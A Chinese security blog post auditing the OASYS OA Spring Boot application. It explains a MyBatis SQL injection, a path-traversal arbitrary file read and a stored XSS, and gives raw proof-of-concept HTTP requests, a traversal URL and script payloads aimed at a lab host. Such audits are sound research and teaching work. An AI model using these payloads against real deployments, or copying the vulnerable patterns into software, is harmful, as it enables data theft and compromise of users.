代码审计 | OASYS OA代码审计

admin 2025年2月14日23:47:53评论13 views字数 9277阅读30分55秒阅读模式

oasys: 办公自动化(OA)是面向组织的日常运作和管理,员工及管理者使用频率最高的应用系统,极大提高公司的办公效率。oasys是一个OA办公自动化系统,使用Maven进行项目管理,基于springboot框架开发的项目,mysql底层数据库,前端采用freemarker模板引擎,Bootstrap作为前端UI框架,集成了jpa、mybatis等框架。 (gitee.com)

SQL注入(两个注入点)

代码审计 | OASYS OA代码审计这段代码是MyBatisXML映射文件中的一个SELECT查询语句。该查询从两张表aoa_director_usersaoa_director 中获取相关信息,并根据一些动态条件过滤结果。返回类型是Map,结果会以键值对的形式返回

<select id="allDirector" resultType="java.util.Map">  SELECT d.*,u.*  FROM aoa_director_users AS u LEFT JOIN aoa_director AS d ON   d.director_id = u.director_id  WHERE u.user_id=#{userId} AND u.director_id is NOT null AND u.is_handle=1  <iftest="pinyin !='ALL'">   AND d.pinyin LIKE '${pinyin}%'  </if>  <iftest="outtype !=null and outtype !=''">    AND u.catelog_name = '${outtype}'  </if>  <iftest="baseKey !=null and baseKey !=''">  AND  (d.user_name LIKE '%${baseKey}%'  OR d.phone_number LIKE '%${baseKey}%'  OR d.companyname LIKE '%${baseKey}%'  OR d.pinyin LIKE '${baseKey}%'  OR u.catelog_name LIKE '%${baseKey}%'  )  </if>  order by u.catelog_name  </select>
代码审计 | OASYS OA代码审计
image
src/main/java/cn/gson/oasys/mappers/AddressMapper.java
public interface AddressMapper { /*根据用户来找外部通讯录联系人*/ List<Map<String, Object>> allDirector(@Param("userId") Long userId,@Param("pinyin") String pinyin,@Param("outtype") String outtype,@Param("baseKey") String baseKey);}
src/main/java/cn/gson/oasys/controller/address/AddrController.java
@RequestMapping("outaddresspaging") public String outAddress(@RequestParam(value="pageNum",defaultValue="1") int page,Model model,   @RequestParam(value="baseKey",required=false) String baseKey,   @RequestParam(value="outtype",required=false) String outtype,   @RequestParam(value="alph",defaultValue="ALL") String alph,   @SessionAttribute("userId") Long userId   ){  PageHelper.startPage(page, 10);  List<Map<String, Object>> directors=am.allDirector(userId, alph, outtype, baseKey);  List<Map<String, Object>> adds=addressService.fengzhaung(directors);  PageInfo<Map<String, Object>> pageinfo=new PageInfo<>(directors);if(!StringUtils.isEmpty(outtype)){   model.addAttribute("outtype", outtype);  }   Pageable pa=new PageRequest(0, 10);  Page<User> userspage=uDao.findAll(pa);  List<User> users=userspage.getContent();  model.addAttribute("modalurl""modalpaging");  model.addAttribute("modalpage", userspage);  model.addAttribute("users", users);  model.addAttribute("userId", userId);  model.addAttribute("baseKey", baseKey);  model.addAttribute("directors", adds);  model.addAttribute("page", pageinfo);  model.addAttribute("url""outaddresspaging");return"address/outaddrss"; }

注意一下以下传参

userId, alph, outtype, baseKey

注入点如下:

alph,outtype, baseKey

请求包

POST /outaddresspaging HTTP/1.1Host: 192.168.0.142User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36Accept-Language: zh-CN,zh;q=0.9,en-GB;q=0.8,en-US;q=0.7,en;q=0.6Origin: http://192.168.0.142Referer: http://192.168.0.142/addrmanageAccept-Encoding: gzip, deflateX-Requested-With: XMLHttpRequestCookie: JSESSIONID=045BA8272A4BDF41617AF3FA01A878D2Accept: text/html,  q=0.01Content-Type: application/x-www-form-urlencoded; charset=UTF-8Content-Length: 17alph=ALL&outtype=1

第一个注入点

POST /outaddresspaging HTTP/1.1Host: 192.168.0.142User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36Accept-Language: zh-CN,zh;q=0.9,en-GB;q=0.8,en-US;q=0.7,en;q=0.6Origin: http://192.168.0.142Referer: http://192.168.0.142/addrmanageAccept-Encoding: gzip, deflateX-Requested-With: XMLHttpRequestCookie: JSESSIONID=045BA8272A4BDF41617AF3FA01A878D2Accept: text/html,  q=0.01Content-Type: application/x-www-form-urlencoded; charset=UTF-8Content-Length: 17alph=ALL%&outtype=1

第二个注入点

POST /outaddresspaging HTTP/1.1Host: 192.168.0.142User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36Accept-Language: zh-CN,zh;q=0.9,en-GB;q=0.8,en-US;q=0.7,en;q=0.6Origin: http://192.168.0.142Referer: http://192.168.0.142/addrmanageAccept-Encoding: gzip, deflateX-Requested-With: XMLHttpRequestCookie: JSESSIONID=045BA8272A4BDF41617AF3FA01A878D2Accept: text/html,  q=0.01Content-Type: application/x-www-form-urlencoded; charset=UTF-8Content-Length: 17alph=ALL&outtype=1%
代码审计 | OASYS OA代码审计
image
代码审计 | OASYS OA代码审计
image

oasys 任意文件读取下载

src/main/java/cn/gson/oasys/controller/user/UserpanelController.java
@RequestMapping("image/**") public void image(Model model, HttpServletResponse response, @SessionAttribute("userId") Long userId, HttpServletRequest request)   throws Exception {  String projectPath = ClassUtils.getDefaultClassLoader().getResource("").getPath();  System.out.println(projectPath);  String startpath = new String(URLDecoder.decode(request.getRequestURI(), "utf-8"));  String path = startpath.replace("/image""");  File f = new File(rootpath, path);  ServletOutputStream sos = response.getOutputStream();        try {            FileInputStream input = new FileInputStream(f.getPath());            byte[] data = new byte[(int) f.length()];            IOUtils.readFully(input, data);            // 将文件流输出到浏览器            IOUtils.write(data, sos);            input.close();            sos.close();        } catch (IOException e) {        }    }}

@RequestMapping("image/**") 注解表示映射所有以 /image/ 开头的 URL 到这个方法。 该方法接收多个参数,包括 Model(用于与视图进行数据传递)、HttpServletResponse(用于写入响应)、userId(从会话中获取的用户ID),以及 HttpServletRequest(代表客户端请求)。

projectPath 获取类加载器的根路径(通常是应用程序的资源目录)。这可能用于确定图片文件的基础路径。startpathba通过 URLDecoder.decode对请求URI进行解码,以处理URL中可能包含的特殊字符。path从请求URI中去掉/image前缀,获取实际图片的相对路径。

使用FileInputStream打开文件并读取其内容,使用Apache Commons IOIOUtils.readFully将文件读取到字节数组中。 然后,通过IOUtils.write将字节数据写入ServletOutputStream,最终将图片输出到浏览器。 关闭文件输入流和输出流,释放资源。 POC

http://192.168.0.142/image//image..//image..//image..//image..//image..//image..//image..//image..//image..//image../1.txt
代码审计 | OASYS OA代码审计
image
代码审计 | OASYS OA代码审计
image

oasys 存储型xss

漏洞请求包

POST /typecheck HTTP/1.1Host: 192.168.0.142Cache-Control: max-age=0Accept-Language: zh-CN,zh;q=0.9,en-GB;q=0.8,en-US;q=0.7,en;q=0.6User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36Referer: http://192.168.0.142/typeedit?typeid=48Origin: http://192.168.0.142Content-Type: application/x-www-form-urlencodedUpgrade-Insecure-Requests: 1Cookie: JSESSIONID=7DD42B49BDD8F6866CB93C62231D54CAAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateContent-Length: 191typeModel=%3Cscript%3Ealert%28%27XSS1%27%29%3C%2Fscript%3E&typeName=%3Cscript%3Ealert%28%27XSS2%27%29%3C%2Fscript%3E&typeSortValue=1&typeColor=%3Cscript%3Ealert%28%27XSS3%27%29%3C%2Fscript%3E
src/main/java/cn/gson/oasys/controller/system/TypeSysController.java
@RequestMapping("typecheck") public String testMess(HttpServletRequest req, @Valid SystemTypeList menu, BindingResult br) {  HttpSession session = req.getSession();  Long menuId = null;  req.setAttribute("menuObj", menu);  // 这里返回ResultVO对象,如果校验通过,ResultEnum.SUCCESS.getCode()返回的值为200;否则就是没有通过;  ResultVO res = BindingResultVOUtil.hasErrors(br);  // 校验失败if (!ResultEnum.SUCCESS.getCode().equals(res.getCode())) {   List<Object> list = new MapToList<>().mapToList(res.getData());   req.setAttribute("errormess", list.get(0).toString());   // 代码调试阶段,下面是错误的相关信息;   System.out.println("list错误的实体类信息:" + menu);   System.out.println("list错误详情:" + list);   System.out.println("list错误第一条:" + list.get(0));   System.out.println("啊啊啊错误的信息——:" + list.get(0).toString());   // 下面的info信息是打印出详细的信息   log.info("getData:{}", res.getData());   log.info("getCode:{}", res.getCode());   log.info("getMsg:{}", res.getMsg());  }  // 校验通过,下面写自己的逻辑业务else {   // 判断是否从编辑界面进来的,前面有"session.setAttribute("getId",getId);",在这里获取,并remove掉;if (!StringUtils.isEmpty(session.getAttribute("typeid"))) {    System.out.println(session.getAttribute("typeid"));    menuId = (Long) session.getAttribute("typeid"); // 获取进入编辑界面的menuID值    menu.setTypeId(menuId);    log.info("getId:{}", session.getAttribute("typeid"));    session.removeAttribute("typeid");   }   // 执行业务代码   typeService.save(menu);   System.out.println("此操作是正确的");   req.setAttribute("success""后台验证成功");  }  System.out.println("是否进入最后的实体类信息:" + menu);return"systemcontrol/typeedit"; }

@RequestMapping("typecheck"): 这个注解将URL"typecheck"的请求映射到testMess方法。@Valid SystemTypeList menuBindingResult br: menu是需要校验的对象,@Valid注解确保对menu进行数据校验,BindingResult br用于存储校验的结果。

代码审计 | OASYS OA代码审计
image

代码审计 | OASYS OA代码审计这段代码定义了SystemTypeList实体类,用于映射数据库中的 aoa_type_list表。该实体类包含多个字段,每个字段都映射到数据库表中的相应列。具体如下:

  1. Entity: 该注解标识这是一个 JPA 实体类,将会被映射到数据库表中。
  2. @Table(name="aoa_type_list"):指定该实体类对应的数据库表名称为 aoa_type_list
  3. @Id: 标识该字段是实体的主键。
  4. @GeneratedValue(strategy=GenerationType.IDENTITY): 主键生成策略,使用IDENTITY表示主键的值由数据库自动生成,通常用于MySQL自增列。
  5. @Column(name="type_id"): 将 typeId字段映射到数据库中的type_id列。
  6. @NotEmpty(message="类型名称不能为空"): 这是一个Hibernate Validator的校验注解,表示typeName 字段不能为空,如果为空,将会返回错误信息."类型名称不能为空"
  7. 各个字段:typeId:类型ID,主键,映射到type_id列,类型为LongtypeName:类型名称,映射到type_name

经过测试,存在存储型xss,定位存在问题的界面,提取其请求加载的接口

代码审计 | OASYS OA代码审计加载的URL如下所示

http://192.168.0.142/testsystype
代码审计 | OASYS OA代码审计
image
 @RequestMapping("testsystype") public String testsystype(HttpServletRequest req) {  Iterable<SystemTypeList> typeList = typeDao.findAll();  req.setAttribute("typeList", typeList);return"systemcontrol/typemanage"; }

通过注解定位到 URL 路径"testsystype"的HTTP请求的该方法。这行代码从SystemTypeList的数据库表中获取所有记录。

通过req.setAttributetypeList列表设置为请求属性,名称为"typeList",这样在前端视图中就可以访问该数据。

方法返回视图的名称"systemcontrol/typemanage",对应JSP或HTML页面,该页面将显示typeList数据。

src/main/resources/templates/systemcontrol/typemanage.ftl

该模板包含加载另一模板,跟踪跳转到另一模板文件

<div class="box-body no-padding thistable">     <#include "typetable.ftl">    </div>
代码审计 | OASYS OA代码审计
image
src/main/resources/templates/systemcontrol/typetable.ftl

代码审计 | OASYS OA代码审计从表中读取加载typeModel,typeName字段内容等

  Iterable<SystemTypeList> typeList = typeDao.findAll();
代码审计 | OASYS OA代码审计
image
代码审计 | OASYS OA代码审计
image

原文始发于微信公众号(花火安全):代码审计 | OASYS OA代码审计

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月14日23:47:53
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   代码审计 | OASYS OA代码审计https://cn-sec.com/archives/3741394.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息